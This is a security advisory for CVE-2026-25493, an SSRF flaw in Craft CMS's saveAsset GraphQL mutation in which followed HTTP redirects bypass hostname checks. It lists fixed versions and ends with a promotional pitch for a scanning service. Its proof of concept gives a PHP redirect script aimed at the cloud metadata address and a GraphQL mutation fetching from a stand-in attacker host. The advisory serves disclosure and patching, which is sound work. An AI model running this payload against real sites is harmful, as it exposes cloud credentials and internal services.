MediumGHSA-8jr8-7hr4-vhfxCVE-2026-25493

Craft CMS Vulnerable to SSRF in GraphQL Asset Mutation via HTTP Redirect

Published 9 Feb 2026 · Updated 9 Feb 2026

Affected packages

craftcms/cmsComposer
Affected
>=5.0.0-RC1 <5.8.22
Fixed in
5.8.22
Update to the fixed version for your release line, for example:composer require craftcms/cms:^5.8.22
craftcms/cmsComposer
Affected
>=4.0.0-RC1 <4.16.18
Fixed in
4.16.18
Update to the fixed version for your release line, for example:composer require craftcms/cms:^4.16.18

Details

Summary

The saveAsset GraphQL mutation validates the initial URL hostname and resolved IP against a blocklist, but Guzzle follows HTTP redirects by default. An attacker can bypass all SSRF protections by hosting a redirect that points to cloud metadata endpoints or any internal IP addresses.

---

Proof of Concept

1. Host a redirect script on your server (e.g. redirect.php):

<?php header("Location: http://169.254.169.254/latest/meta-data/"); ?>

2. Send the following GraphQL mutation:

mutation {
    save_images_Asset(_file: { 
        url: "https://attacker.com/redirect.php"
        filename: "metadata.txt"
    }) {
        id
    }
}

3. The application validates attacker.com (passes) 4. Guzzle follows the redirect to 169.254.169.254 5. Cloud metadata is saved as an asset

---

Mitigation

  • Disable redirects.

Is GHSA-8jr8-7hr4-vhfx in any of your client repos?

Checking one package by hand is fine. Checking it across forty client projects is not. NPMscan reads the lockfiles in every GitHub repo you pick, finds each project with an affected craftcms/cms, and gives you the command that fixes it.

References

Advisory data from OSV.dev (opens OSV.dev in a new tab), refreshed daily.